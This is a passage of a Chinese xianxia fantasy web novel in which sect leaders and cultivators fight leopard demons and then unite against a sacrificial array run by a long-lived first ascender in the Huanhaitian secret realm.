“秘境之外,别说几十个妖将,就是几千几万个来了,我都信你不虚它们,可是秘境之内人与妖是颠倒个的,你去了就能救回她们么。” “” 尹月细眉冷挑:“但我不能不去。” 她是阁主,也是七彩阁的建立之人,论年龄,她和邹娥皇一辈,但是论地位,能与尹月对接的是夜自咎、云无心等人。 如果这次领队的人是尹婉,那么尹婉可以退,但是这次领队的人是尹月,尹月如果退了,幻海天之前会议上,七彩阁立下的威望,隐隐与蓬莱昆仑并肩的地位,将一无所有。 “好。” 邹娥皇松开了手。 “那我跟你一起去。” 尹月愣了:“你去什么?和你有什么关系。” “我就是去了。” 幻海天的夜,是没有月光的世界,两人走的越远就越见鬼火孤鸣。 一深一浅的脚步踩踏在湿软的松土里,尹月刚刚那滔天的火气消了大半,只剩犹豫。 她道: “邹娥皇,你你知道的吧,你跟着我出来,很有可能会死。” 生生死死的话一出口就略显矫情,像要亡命天涯的野鸳鸯一般。 尹月捏着手里那块已经破碎的通灵玉。 邹娥皇嗯了一声,说知道。 尹月又说:“你不该跟着我走的。你背后还有那么多人,这次出幻海天后,各大门派必然重新洗牌青度就算后续在镜阵里面修炼出了金丹,也影响不了蓬莱近百年更何况——” “道祖快没了吧。” 邹娥皇又嗯了一声,尹月走在前面,看不见身后人的表情,只能通过淡淡的一声嗯判断情绪。 尹月想了想说:“你和容有衡刚在一起吧,还没谈多久。” 邹娥皇没吭声,只兀自跟着她走。 尹月最后说:“你不该跟我走。” 不是不能,是不该。 她们这样的位置,她们这样的立场,有太多的不该。 邹娥皇仰起脸轻描淡写:“但我还是跟你走了。” 尹月摇了摇唇,最后说:“我不敢承诺你这次能活着回来,但我保证,我会死在你前面的。” 尹月其实也明白,这是一场引蛇出洞。 尹月其实也明白,凶多吉少。 “不用,”邹娥皇说。 尹月靠在她的身前,山坡隐隐出现火光,乌泱泱的喊杀声从东方透出,此刻两人面对着即将到来的一场恶战,心里竟然是不怕的。 急促的呼吸声响起,尹月双手扯住满天惊起的红绫,风起云涌中,她声音前所未有地朦胧。 “邹娥皇,我没法看着尹芝她们死,但我也没法看着你死。” “刀山火海,这一次,你我与共。” “倘若能活着出去” 尹阁主顿住了,火光闪烁在那双水眸深处,倘若能或者出去她们一个是七彩阁的阁主,一个是蓬莱岛的二师伯。 倘若后面都活着,回去又能怎么样。 “那就活着出去。” 身后,邹娥皇抬步并肩,黑剑抽出,映着半个姑娘坚毅的侧颜,打断尹月并从容答道。 在这个世上,对尹月来说。 生死之外,皆是小事 而对邹娥皇来说。 远有比生死更重要的事。 朋友算一件。 义气值千金。 … 老者说:“错了,后生。” “此界之中,众生浮相,万鬼哭嚎,独她不该是棋子。” “老夫惭愧,虽半截身子入土,然终怜她一颗赤子心,纵叫玲珑含污,亦不敢叫赤子寒心。” 周平目光定定。老者手里的黑子飘起,萦绕在它旁的空气泛起了阵阵涟漪,接着这黑子就洒若流星一般定在了几十枚白子之前。 周平忽地笑了,浮出一分败者颓唐:“裁决者大人说的冠冕堂皇,但你还是把她当棋子下出去了,不是么。” 老者微笑:“你又错了,后生。” “你说老夫把她下出去了,你是用看棋师的目光看老夫,但老夫不止是棋师,老夫还是个赌鬼。” “不是老夫把她放在这个位置。” “而是老夫赌,她看透一切,明白结局,仍旧会选择站上那个位置。” 天边初晴,流光稍纵即逝,亭中再不见对弈的两人,只余半盘残棋。 以及一枚,花纹碎成珠网状,屹立不倒的黑棋。 第85章 灭世之战避无可避 草长, 簌簌而动,蝉鸣鸟雀皆静。 大壮松开了手里的锄头,低头看着不断向上生长的绿草只觉得困惑, 他扭头问隆子: “如果我没记错的话,二十年前,神主与上代久俊做交易,就已经把异目插进了妖族的混天河里面, 将妖族一脉的天运,与此阵相连” “按照我刚刚砍下去的力道来说,新任妖王应该已经死了才对。” “是, ”隆子说:“所以久俊一脉向来活不久, 可怜它们还以为是天道作祟,殊不知这般强大的传承,在主的眼里, 不过也就是一茬又一茬——” 隆子碾碎了手里的绿草, 粘稠的青汁自他指缝间滴落,这个满脸麻子同翠儿一样, 只是这村里再平常不过的一个男子, 露出了一个诡异地笑。 “韭菜而已。” 大壮瞥了他一眼,不解道:“你好端端地笑这么吓人干什么。” 隆子没理他,接过了地上的锄头,再一次高高举起,重重落下, 那堆草也是,砍了又长, 越长越高。 大壮问:“什么情况?” 隆子拍了拍手,叹气:“后印覆在前印上。这个新任妖王在没成为妖王之前, 大概就有人给他下了咒,我们第一遍斩草的时候,斩断的其实是我们和妖王之间的联系,于是后印没了,只余了先印,他在这阵法里,已经是不被承认的妖王了。” 大壮嗯了一声,阴霾在眉下浮起:“没事,只是跑了一个草精罢了,其余的豹子妖不还是这茬韭菜吗。” “不急,”隆子扣住他的手,微笑道:“你听过鹬蚌相争渔人得利么。” “妖族想要下套,在这里将人族一网打尽” “所以?”大壮挑眉,懂了。 人族和妖族一样都是他们开启幻海天大阵的祭品,区别就是妖族的命早就被他们遏制在手上了,既然如此,那还不如用已经遏制的命去消减那些自命不凡的修士。 “怪不得。” 大壮摩擦着下巴道。 隆子:“怪不得什么?” 大壮:“怪不得,邹女仙第一次来的时候,跟我说过一句话。” 隆子耳朵动了动:“有关我的?” 大壮回忆:“她说我们这个村子虽然都是一群面瘫额,她跟我说的面瘫就是没有表情的意思。但面瘫之下,还是能看出不同人不同性格的。” “她说小翠看着冷,其实是个实诚孩子,答应了一件事就要办到。说我看着不好说话,但其实一报还一报,睚眦必报姑且当她夸我恩怨分明了,说老叶” “你直接说她是怎么评价我的。”隆子不耐烦地打断。 “啊,她说,”大壮瞥了他一眼,道:“你可不许生气,是邹女仙说的啊——” “她说你看着脾气好,其实是咱们村坏心眼最多的。” 隆子听后果然不怒,反半承认道:“没办法。” 他指了指大壮和远处的几个村民:“你们当初被神主制成生人的时候,用的是你们原来的魂魄,但是制作我的时候,神主不知道从哪里抽了一丝坏魂。” 一脸麻子的青年平静地微笑:“可不就是要坏么。” 接着隆子顿了顿,像是发现什么一样,停下了与大壮的交谈,视线一转道:“客人看了许久,也该出来了吧。” 半亩农田上,十几个村里人都不动了,手上握着的锄具齐刷刷地停住。 咯吱咯吱地扭脖子声一齐传来,黑黝黝死沉沉的眼珠子不约而同地盯着同一个方向。 黑影处,容有衡摆了摆手。 他毫无诚意地轻笑了下:“还是被发现了啊。” …矮树古枝,七彩阁的女修们被几个小豹扣押着看守。 豹族长扯了扯几道缴获的红绫,呲开獠牙对着一豹道:“别看她们现在这么窝囊,出了秘境那是一个打咱们十个,所以咱们得珍惜这个机会呀。” “真、真的?” 小妖激动地结巴道。 “真的,”豹族长笑了笑,脸上的绒毛一下子又都蹭地浮出,它拿红绫拍了拍尹芝几人的脸,不出所料地被几个姑娘咬了满嘴的绒毛,但这狡诈的老豹也不怒。 它低笑对着族人道:“你知道这几个是哪边的人吗?是七彩阁的人,最硬气的一群小娘皮!寻常想要活捉一个可不容易,一百年前” 豹妖回忆了一下,唏嘘道:“久俊大王还没有一统妖族,我的哥哥就死在了她们七彩阁的手下,我要给哥哥报仇我带了数十个弟兄,有长尾的爸爸,卷毛的叔叔我们化作原身,发誓至少要带回一个七彩阁这些如花似玉的娘皮发泄恨意,结果” “结果后来你们也知道了,长尾成了孤儿,卷毛没了叔叔我没了好多好多兄弟,自那个时候我就开始恨起人族了还有现在那个名义上的妖王,区区低贱的人——等我抓到他,我一定要将他粉、身、碎、骨,一爪一爪地拍碎!” 老族长的声音逐渐带了恨意,那群它带出来的小妖瞳孔也逐渐竖起,此起彼伏的呲牙声在这山谷回荡。 尹芝心叫不好,急忙吐出一口豹毛,厉声道:“你这老妖,何必颠倒黑白煽动情绪——” 十几双嗜血地兽眼渐渐向她逼来。 尹芝闭着眼,声音却不减:“本阁弟子绝不可能滥杀无辜,哪怕是妖也一样。” 创建七彩阁的人是尹月,而尹月又毕竟还是在蓬莱修行过一段时间的。 在一百年前,人人都信奉妖族低贱,非我族类必除的年代,若说天下门派有两个另类的话,一个是蓬莱,另一个便该是尹月创立的七彩阁。 而七彩阁门训正是:正义之师,代天行道。 “你信口雌黄,分明是你的哥哥那个豹子精先伤人在先,屠遍一村,本派长老尹诚才代天出手!” 被她喷了一脸唾沫的老豹抹了把脸,眼里狠光闪过,“你们人族彼时势大,当然是想怎么说就怎么说了!” “虐杀我哥,分明是为了妖丹,却最后定性为为了保护百姓,真是好一个七彩阁,不知道往自己脸上的贴了多少金,才得了这赫赫威名!” 老豹妖逐渐激昂的语气被人打断。 只见山谷对面,出现两个女子身影。 “不可能。” 打断老豹的人美艳卓绝,万丈红绫在她身后徐徐升起,缭乱飞舞的红绫就像是一轮圆月——赤色的圆月。 是尹月。 尹芝等人面上逐渐露出喜色,阁主来了! 猝然喜意须臾变成担忧。 在众女眼里,尹月该是战无不胜的。 可她们也知道,这世上从无常胜将军。 尹月摆手:“老豹妖,我不管你是怎么被你哥骗的,本阁主只告诉你一件事,凡入我七彩阁者,都种过心魔誓,一生不为私欲,只为代天行道。” 嘭地一声——红绫抓住了老豹的脚,将它狠狠地甩起再砸到地上,众妖们见状,分分化作原型,嚎叫着扑了上去。 老豹妖被甩地离尹月极近,它吐出了带着牙的一口血,低笑:“那么您呢?” “野心勃勃的七彩阁阁主尹月,带着七彩阁从与龙宫比邻而居到几乎称霸龙宫,吞并东海附近大大小小世家门派您给自己种过心魔誓吗?” 尹月没回答。 或许她是不屑回答。 或许她是不能回答。 从一开始选定的代天行道,而不是替天行道,一字只差,就可召显尹阁主本人的野心。 最后尹月十指举天,数十道红绫如长枪一般,直直朝着在场所有妖类袭去。 她身旁,邹娥皇趁乱持剑先将尹芝几人解救下来。 再一回头,只闻得老妖仰天一长啸,在外无坚不摧的红绫,在这诡异的幻海天削弱下,隐隐有了蹦开的趋势,老豹再是一嚎叫,众妖沸腾,红绫边缘逐渐有了破碎的趋势。 尹月面不改色咽下了一口血,当机立断握拳。 数十道红绫如残荷落叶一般收回,尹月极速后退三步,磕地吐出一口闷血。 老豹再追,邹娥皇持剑一挡,宽厚的长剑与锋利的豹爪嘭地碰在一起,激起一地尘埃。 “你的剑没有杀气,”老豹忽地笃定道。 邹娥皇默不作声,只是提剑再起。 灵力向来就是她贫瘠的地方,在幻海天里,只会受制更严重。 可是邹娥皇自信自己能赢。 这样的自信,是五千年前的天骄宴,宴霜寒于她说过:不敢杀人的剑为什么要举起,于是被粉碎的傲气; 也是现在,历经世事沉浮,她拿着一把没有杀意的剑打败了响当当的宴霜寒,重新铸造的剑心。 是少年意气不改的傲气,也是剑修磨砺千年再度缝合的剑心,两者合二为一,* 才成了她的自信。 邹娥皇手里的剑光愈来愈快,剑气一层层地荡开,灵气供转不足的情况下,剑气会荡伤主人本身。 但她握的很稳当。 她身侧,尹月那身素来光鲜亮丽不染尘埃的薄纱,也染了血污,可银光剑光灵光下,这样的血污,却像是在给两人加冕。 很快,只听得一声剑鸣,老豹妖被邹娥皇的剑气一顶,噗地吐出了一口血,邹娥皇顶着满脸被喷出的腥血,提剑一步步地靠近。 尹月微微喘出了一口长气。 其实她本来做的最坏的打算里真的有个不详的死字因为她不曾料到,邹娥皇的剑竟然强到这样。 尹月禁不住又想。 那样的剑,宴霜寒使的出来吗? 一把杀人剑实在是再容易不过,也再强大不过;可是一把钝而不伤,处处留生机的剑,能使成这样实在是、可怕至极! “剑下留人——啊呸——” 李三整个人趴在小妖的身上,一只手滑稽地伸出,在高速颠簸的妖身上他面色苍白如同坐了好几夜不休的马车。 “剑下留妖——” 邹娥皇揪着豹将的手一顿,回头瞳孔微震:“李三?你还活着?” 李三在靠近她还有三尺的时候,终于受不了颠簸松手,被甩了出来,吃了一地灰尘,还啃了个血肉模糊辨不出种族的腿,扣着嗓子吐出来之后,才虚虚道:“活着,微死。” 尹月:“你说剑下留妖?” 尹月一脚踹在三只叠在一起的妖将身上,浑身染血,有自己的,也有敌族的,冷冷道:“为什么你不能早来,非要现在来” 在她们都快收割的时候。 李三这才想起正事,喘着气道:“对,剑下留妖——幻海天有变,容道君,容有衡道君告诉我——” “幻海天即将沦为献祭法阵,届时神明降临,灭世之战,避无可避——” 李三那张滑稽、平庸的脸上,逐渐浮现出了前所未有的王霸之色,他看着那群匍匐在地奄奄一息的妖们,呵声道:“尔等听命!” 他脚底下青草愈翠。 “孤乃妖族之王,尔等与豹妖族长豹坝袭击孤的事情,按妖律当斩,当罪及同族三代——” 地上传来一声呜咽的豹吼,分明是不服。 却被李三更加急促的声音打断:“有什么不服的,孤讲给你们听,就一句话:孤是妖王,妖族无王,何以与人族抗衡,妖族无王,二十年以前的日子难道你们都忘了么?要灭王者,非蠢既坏,非蠢既坏啊!” 邹娥皇注意到李三身形微抖,但是他说话的时候,吐字又前所未有的坚定果决:“但是孤知道,你们受命于族长,并非本意,所以孤给你们将功补罪的机会,灭世之战在即” “人与妖之争,是国争,而灭世之战,则是天下生灵与外来之物之争,孰轻孰重,尔等就是未化形的小妖也该明白一二!” “全军,断了胳膊地给孤捡上胳膊,瘸了腿的掺着棍走,灭世之战,人若要进,妖安敢退!” 豹妖们的呜咽声渐渐静了,转而代之的是一声破天嚎叫,自被邹娥皇拿剑串住的老豹妖口中嚎出 邹娥皇是在村口的亭子那里找到姜印容的。 通灵玉早在进入幻海天时就派不上用场了,想要大规模地通知所有人,又避开那群诡异的村民,她印象里,只有一个人能对灵力掌握这样精准。 邹娥皇去的时候,姜印容正滑着轮椅,对着亭子下那半盘残破的棋,若有所思。 听完邹娥皇的需求后,姜印容头也没回,干脆利落地拒绝:“要我通知所有人?不,且别说我做不做的到,我就算真成功了,灵力耗尽,约等于废人,大战一触即发,拿什么保全自己。” 邹娥皇没再劝,拔腿就走。 果不其然,走出没有三步的时候,身后的人叫住了她。 女声语气玩味。 “就这么走了,不再劝劝我?” 邹娥皇脚步一顿。 心道鱼上钩了。 姜印容这人软硬不吃,再三试探只会让她更加厌烦,当即就走反而可能勾起她的好奇心。 “怎么劝你,”邹娥皇温和道。 “我认识的姜修士,倒下去了,仍能一遍遍站起来,因为北海有人等她回去,因为她志在天下,哪怕被追亡逐北,也信尚可一战。” “现在我看见的姜修士,有力而不远行,身躯已经走出了,心还封在那里,一听事关天下这四个子就像被吓破了胆一样,张嘴就是逃。” 邹娥皇抚摸着这盘被盖了厚厚一层灰的棋盘,转头对姜印容道:“力尽尤可破,心尽了,那就只剩下一条死路了。” 力穷尤可破,心穷气难活。 姜印容不语。 许久,邹娥皇才听见一声清脆的冰响。 这个十几岁反了北海平家,在人世间禹禹独行,被排编了无数出话剧的女子,浓眉下那双淡若烟波的瞳眸,如晕开的墨点,微微一挑。 “邹娥皇。” “说我没种?” 晶莹剔透的冰拔地而起,寸寸锋利冰刃撑起那面容寡淡的女子,略有薄茧的指腹掐着邹娥皇的下巴,姜印容微笑道:“可惜我不吃激将法,你该明白。” 极度的冰蓝与熊熊燃烧的心火之间,她们的面容贴的前所未有地近过。 近到姜印容恍惚间能看到十年前蜷缩在冰崖下的自己。 姜印容呼吸一窒。 她忽地觉得烫手,松开了指腹。 “我去,但是你记好。” 邹娥皇挠了挠刚刚被姜印容碰过的下巴,若有所思,一般戏剧里这种峰回路转的情况,都是要喊出一句口号,什么是为了天下,和你无关之类的 下一秒,女子干涩的嗓音打断思绪。 “你要记好。” 姜印容定定地看着邹娥皇:“心怀天下的是姜英,偏居一隅的是姜印容。姜某这次去,名印容,因而不为天下。” 不为天下,那为什么? 邹娥皇后知后觉地听出了那份未尽之意,再抬起头的时候,坐着轮椅的姑娘已经滑远了,薄薄的冰也弥散在空中,就像从没有出现过。 只有一股幽远的梅香。 寒徹傲骨。 姜印容病弱但修长的手五指朝下,深深摁压在土地上,土壤中所有的水分凝结成冰,莹草结出寒霜,广袤无垠的土地,忽地一瞬间变得肃静。 姜印容吐了一口血。 一口血不多不少,正好映在片片寒霜之上 树林深处,何九州一脸头疼地看着甩也甩不掉的小翠,没什么耐性地重复道:“我说了,我师父不在了,你不要缠着我,你是听不懂吗?” 小翠指了指他腰间配的西吹雪固执地不肯走,猴子吱吱地叫,豆豆眼里全是对何九州的指责。 一主一猴都不明白,剑还是当年的把好剑,怎么人就换了个皮子呢? 何九州头都大了,他求助地看向宴霜寒,发现对方事不关己高高挂起,只是忽地宴霜寒停住了,扬起手,低声道:“有情况。” 自从天机子逝世后宴霜寒黑色的靴履很久没有过停顿,此刻薄削底部却被冻住了。 黑暗的草坪里,唯有几行冰霜凝结的白字刺眼。 ——幻海天内围集合,灭世之战。 银发剑修起剑。 峡谷窄道,一群穿着百家布的墨庄行者盯着在黄土路上凝结出的冰地,默不作语。 但好像风中又传来他们的窃窃私语。 灭世之战?灭世之战去么,去么,去么 去! 百布齐扬,番号为墨。 瀑布潭旁,藏在深色斗篷里看不清面容,行来散去都如同一团鬼雾的鬼谷众人不约而同地在脸上渗出寸寸冰寒。 碎石小溪旁、洞中山谷里叫的上名号的,叫不上名号的,大门派,小门派,散修甚至还有几个早该灭绝的邪修,都看着延展到自己履下的一片冰,停住了。 灭世之战。 去么,扬名还是赴死。 去么,救世还是无名。 去么,就算死了可能也没有名字留下。 去么 “老子可是个唯利是图的散修啊!该死!” 肌肉扎实的大汉一脸见鬼地看着那块薄冰震脚。 不远处,传来了另一道咬牙切齿的声音:“老娘还特么地是个邪修呢!” 去么 去的。 田野沟壑里,十几道身影已缠斗在一起。 容有衡咬着牙关血气,脸上已经被异目侵蚀灰掉了右眼,但他并不觉得疼,只是有些庆幸。 丑是丑了点,但师妹没看到。 第86章 大约是从这一刻开始的。 “如果秘境里有太阳就好了。” 这是当年黄平忠至死未全的遗憾, 也是如今容有衡于嘴边轻轻泄出的一句话。 暗光落于田埂上的时候,第一根铁锄已经破风而来,重重叠叠虚影, 好像要把整片天地搅碎。 容有衡却在此刻笑了。 他起手,短匕出鞘,衣摆不动,岿然自若。 三道铁锄的虚影突然断成六截, 大壮神色一变,被隆子一拉咣当地一个后退,下一刻小匕如风紧擦着大壮耳畔而过。 娘嘞。 纵然是死不了, 大壮也心有余悸地扭了扭头。 下一刻, 容有衡的面容就与他近在咫尺,短匕噌地一下削过了大壮的头皮,秃了一块圆斑。 他视线一眯。 “容道君这句话是什么意思?” 容有衡掀开眼皮, 微笑:“如果秘境有太阳, 断然容不下你们这些牛鬼蛇神。” 男子的声音放的极低。 “我之前一直不明白周平想要做什么。上一辈子我也不明白,这辈子看到白泽之后隐隐有了顿悟, 在这方小秘境里, 看到了他来过的痕迹,我才算全然明白。” 容有衡目光笃定,说出了和前任裁决者一样的话:“周平所图,竟非凡人,非人与妖, 而是天下无畜无人无妖无公平,也就无不公平。” 一开始觉得这人只是为了几道气运, 竟是他容有衡眼皮子浅薄了。 泥腥的土地,昏暗的环境, 不知从哪里传来了雨水点滴的声音,不,那根本不是雨水。 只听嘭地一声,短匕越过虎视眈眈的村民,与粘稠的液体相接,发出了呲啦的腐蚀声。 内围,村口世代守护的那口井,终于开始喷涌,薄薄的一层水向外不断汇聚,说是水不太准确粘稠的液体,就像是—— “异目!” “神目!” 邹娥皇与尹月同一时间脱口而出,两相对视,明白了一切。 完蛋! 早该想到的,邹娥皇握拳,哪来的那么多重返人间的孽障,什么不死不灭,不过都是这异目的一个幌子。 大师兄曾经跟她讲过,上一辈子的异目,几乎是无敌的,到最后只能设阵束缚,人族丢盔弃甲,哪里出现异目的踪迹,哪里就弃城而逃。 邹娥皇呼吸一顿。 她有剑,她的剑,神通不辞,就是最克制异目的。 可她不怕异目,别人呢。 她一回头,是神色凝重的尹月、懵懵懂懂的越蓬盛、昏迷不醒的姜印容、金丹未愈的青度 这样的一群人,真的能抵抗住异目么。 邹娥皇的心沉了下去。 “怕什么?” 尹月看着她的神色,忽地嗤鼻一笑,“这东西确实是无孔不入,我研究过一段时间的,但也不至于你这般,修士啊,不就是与人斗,与天争,生死一线的么。” 若凝脂白玉的手臂搭在邹娥皇肩上,尹月在她耳边笑道:“怕什么,人多力量大,蜉蚁撼树,你踮起脚看看,乌泱泱密麻麻从路那边赶过来的不都是人么。” 邹娥皇顺着尹月指的方向看了过去。 黑色的旗帜代表墨庄的先出现在她视线里,接着就是灰褐色的旗帜上面有个诡异的鬼字,然后就是一把纤长美丽的细剑灵巧地绕过人群间隙—— 直直插入那井泉之中,烈火一般的剑气灼烧着这群不死不灭的异目。 是宴霜寒。 相隔几十米,他与邹娥皇对视,只说了一个字。 “去。” 放心的去,大胆的去。 救世一剑,我交给你了。 至于这里,由我守住。 自宴霜寒那个聒噪的师弟走后,再也没人敢做他肚子里的蛔虫了。 可邹娥皇奇迹般地听懂了。 她双手抱拳,朝宴霜寒深深地鞠了一个躬。 “所有弟子,”银发剑皇收回视线,他再次睁眼的时候,眼底已猩红一片,黑色的魔气翻滚在他周围,“摆锁天剑阵!” 宴霜寒之前没有经历过异目,离得最近的一次是昆仑从七彩阁那场会议上得来的样本。 可毕竟是宴霜寒。 不知畏惧二字。 “是!” … 以一敌十,对容有衡不算勉强,以一敌百、敌千,对他来说,也轻轻松松。 可若面对的是一群杀不死的怪物呢? 那大约,还是有些许吃力的。 “师兄!” 邹娥皇来的不巧,直接赶上容有衡被围攻,她两手抱住从天上打下来的男人,一个踉跄。 这是她第一次公主抱一个成年男性果真是有点重的。 “你没必要和我们作对,邹仙人。” 大壮沉声道,他身后十几个村民,黑漆漆的目光从容有衡身上移开,落到了邹娥皇及她背后的一片人身上。 邹娥皇叹道:“我不是在和你们作对,我是在保命。若你们开的真是献祭大阵,幻海天内将无活口。” 大壮:“这正是我要说的了,你已经在我们的族谱上面了,你和我们才是一样的立场。” “我们欢迎你,一起共享长生不死。” 大壮朝邹娥皇张开双臂。 邹娥皇微笑,“不。” “你再看看,族谱上是谁的名字。” 那本族谱就这么被邹娥皇轻飘飘地抬手扔了过去。 大壮伸手一接,顷刻面色一变,失声道:“什么时候发现的上面的谢雩有误?” “一开始就发现了,”邹娥皇顿了顿。 大壮大惊,“五千年不见,你竟恐怖如斯——” 邹娥皇淡定地把话说完:“一开始就发现,当然是不可能的。” “但是有一个点可能你们自己都没注意到,那本族谱上的字,是灵墨书写的,再是多么功能特意的墨,晕开的地方摸着与没有晕开的地方也是不一样的当然了,三个字摸起来的感觉和两个字也不一样。” “你——” 大壮失语,隆子却困惑道:“你感觉出不一样就感觉出不一样,是怎么做到更改的呢?” 灵墨之所以比别的多带了个灵字,就是因为受天道承认,难以更改,只能遮盖。 邹娥皇:“有个人教过我。” 她改了改措辞:“我曾经有个故人,嗯,他对于这些都很有研究,包括如何更改灵墨的轨迹。” 以前还有皇帝的年代,书写一些檄文,为了防止在传播的过程中有人更改,用的都是这种有天地契约意味的灵墨。 但是时间一久,也是会有人拿灵墨钻空子的,甚至还研发出了如何把这团墨变成自己想要的字,欺瞒大众。 邹娥皇确实跟那人学会了很多。 但是在用法上,两人却背道相驰。 “那我们就是没什么好说的了。” 大壮叹息。 刹那间,土地震颤。 几十道身影一跃而起,个中又有数道专向邹娥皇而来。 剩余地,则是借着黑暗掩饰,没入了这片战场。 在场的多是身经百战的老手,散修也好,门派弟子也罢,无一不是佼佼者。 不过,若是要挑个浑水摸鱼的,也是有的。 李三小心翼翼地摸索着,大气不敢喘一下。 统帅群妖的魄力终究只是对着稿子念白,真上场了他腿肚子仍是打抖擞的。 下一刻,锄头破风而来。 噗呲地一声,豹妖推开了李三,李三半跪在地上,眼看着那恨他入骨的老豹替他受了这致命一击。 血点溅红了李三的眼帘。 老豹断断续续道:“妖王一命偿一命,不要因为先前我的不敬,迁怒豹族” 李三:“好。” 他踉跄着爬起。 后世不会知道,也不会记载,这位草精出身的人族妖王,到底是从哪一刻认可起自己妖的身份。 但如果真的有转折的一刻,那大约就该是此时的。 数不尽的野草暴起,拧成蛇蟒般粗细的麻草搅住了杀了老豹的村民的后腿,将他狠狠地甩起,重重地砸到地上,接着麻草飞舞如腾蛇,与粘稠的异目搅合。 远处注意到这一幕的邹娥皇灵光突现,“捆,用绳子捆住!” 她语速飞快:“这群人杀是杀不死的,但是困却是能困住的快,困住他们——献祭阵法说白了就是要命,把他们都困住了,我们从内打开幻海天逃出去,谁还能打开献祭阵法——” 一炷香后,越蓬盛拉住捆仙索,一脚踩在大壮的背上,用力一扯。 “这长脸壮汉都被捆在一起了,师伯现在是不是没什么好担心的了。”越蓬盛指的是大壮,在他的视线里,这个一出场就叠满了各种buff的男的,一看就不是什么好东西。 但随着他这一声话落,草丛里又传来了窸窸窣窣的声音,越蓬盛恨地拍了自己一巴掌。 乌鸦嘴,瞎说啥啊。 “真有趣。” 沟壑之中,隆子睁开了眼,他微微一勾手,手上的绳索就如碎草般断开。 面对众人,他满脸麻子就像是坑坑洼洼的土堆,笑起来渗人地很。 隆子拍了拍身体站起来。 粗布麻衣逐渐在空中变成流萤火光,众人如活见鬼般看着那个咬字清楚的隆子。 磅礴而透明的异目如不断奔腾涌起的蚊蚁,密密麻麻地汇聚在隆子脚底,又一点点的把他撑起。 “真、有、趣。” 隆子道:“为何你们都以为,飞升者在此界外。” “为何你们都以为,始作俑者该是宋成。” 隆子说完这句话,并不管旁人的脸色,只用那双与死人无异的眼珠子,静静地盯着邹娥皇:“你要故事,你要原因,你要这天下的作奸犯科都有一个可歌可泣的理由,那么——” “邹娥皇,我讲给你听。” 隆子一边说,一边挥刀一砍,田埂里的草便被连根带起,无数小妖们就挣扎扭曲着,曾鲜活面孔立即变灰,倒在地上悄无声息。 隆子又是一抬手,大壮以及余的村民就像是被从天而降的两只巨手捏起,两只巨手合一,并没有发出**与骨骼被碾碎的咯吱声,相反,村民们像液体一样淅淅沥沥地溶在一起。 这个过程里,村民们始终睁着黑漆漆的眼睛,没有发出一句呐喊。 众人脚下的土地,血色咒文凸显,如巨大的蜘蛛网状笼络至幻海天的每一个角落,以那口涌出异目的井为中心。 刚刚的所有争取,在这一刻好像笑话。 一个取悦隆子的笑话。 邹娥皇木着脸。 这惨淡的人生啊 越蓬盛敬佩地看着她,以为她一脸沉重是在寻找一击必杀的机会,不愧是师伯啊就是顽强。殊不知,邹娥皇只是简单的在想谁是宋成,大壮么。 下一个念头则是: 大壮他自己知道,供奉多年的神主,是他的发小隆子么? 第87章 这一辈子,值了。 自然是不知的。 在大壮与其余一众由异目所化的, 如今又彻底归成异目这摊混沌的生魂记忆里,飞升上界的神主一直都是另一位,也就是邹娥皇翻看族谱里面找到那位十六代出过的元婴。 而不是一直待在他们身边的, 隆子——宋隆昌。 那么,飞升者是生来就知道自己能飞升的么。 大概也不是的。 就像是鲤鱼没过龙门之前,总觉得自己只是一条普通的小鱼;读书人没科举成名前,也断然不知道自己能金榜题名。 可大概也是的。 能越过龙门的鲤鱼, 并非是一朝一夕而跃,能金榜题名的书生,也绝非是只苦读了一日。古之成大事者, 必在冥冥中有所预料。 隆子就是这样的人。 隆子一开始没想过自己会修仙的, 但是当他真的走到节点的时候,麻子青年微微一笑,便若有所思地悟了。 所谓命运把猪推到风口浪尖, 猪都会飞, 一样的道理。 那一日求仙的同乡衣锦还乡,酩酊大醉的时候把村民供上来的几坛酒都打了个细碎, 说这些都是凡酒配不上他这个真仙人。 隆子笑眯眯地, 按住了拔刀欲砍的大壮,为同乡拿来了十里八乡最好的女儿醉。 后半夜。 仙人一醉伶仃,悄无声息地死在了最瞧不起的凡人手里 。 小名隆子的青年背靠在月华垂落的墙壁上,翻捡着染着血的乾坤袋,半是遗憾半是难过地想, 从小到大的玩伴,怎么换了身衣服, 就变成了他认不出的大人物。 刀没对方胸口的瞬间他的虎口还有些麻木,如今粘稠的液体已冷凝。 宋隆昌想, 既如此,那我便代他去寻仙。 第二日,隆子告诉乡里乡亲们,说仙人早就走了。 寒冬酷暑,日复一日。 麻子脸青年支起箩筐,白日打猎耕田,晚上自行打坐,路上遇见好说话的大娘还会微微一笑打个招呼,田间有不懂事的孩童,兜子里永远是有两块饴糖的。 直到有一天他回头,发现从不落雪的幻海天,突然有了雪,发现从不干涸的土地,突然变成了粒粒碎沙。 直到有一天,他回头。 发现背后空无一人。 凡人和仙人之间,最难跨越的一直不是修为。 是时间啊。 沧海桑田,白驹过隙, 世界上第一个飞升的人为什么执念下来呢。 所有人都说祂厉害,所有人都以祂为傲,但是祂却只希望时光再慢一点再慢一点,年轻的祂想去看十四州四海,想去看天外天。 那时祂不会料到,看过了一切的祂,只想回来。 回来。 哪怕此界无法承载祂磅礴的力量,哪怕最后的结果只有毁灭,哪怕要枉顾其他不想干的人妖性命,祂亦觉得自己无错。 幻海天的故事,向来都只传对了一半。 这里有村人,有万古第一个飞升者,有被吸干灵气的万亩荒漠,有一口井装着一个海但是唯独没有因凡人而动容的飞升者,也没有因为仙人而死的凡人。 因为那群凡人,根本没有活到那个岁数。 他们的子孙,也有手有脚,知道怎么离开这片地。 “我有什么错呢?” 隆子、宋隆昌不或许现在称呼为祂,更加合适了,祂慢慢地与异目汇聚在一起,粘稠斑驳的水质上闪过密密麻麻的眼珠与口舌,说话的声音如隆钟一般嗡嗡从浑身上下各处而出。 “只是想让他们活下去,只是想让他们还活着,只是不想让别人改变,只是想让刹那永恒有什么错呢——” “为什么要阻拦,为什么要与我作对!” 咆哮的声音、痴怨的声音,宝相庄严的声音,悲悯的声音,雌雄莫辨的声音万千音色,都在嗡嗡地重复着这句话,一时之间,邹娥皇脑子里只有“只是、只是”这几个词。 她终于忍不住了,长剑出手,从地上单蹦而起。 “难道我就有什么错吗?” 邹娥皇平静反问:“难道他们就有什么错么。” “你觉得这是个可歌可泣的故事吗?” “你觉得你很伟大吗?” 她实在是个好脾气的人,说话的时候语气平平,可是眸子深处,好像染着那一分极其危险的火光。 谁都不知道她是什么时候怒的。 甚至谁都不知道她为什么这么生气。 连神也不知道,祂只是忽地嗅出了一丝危险。 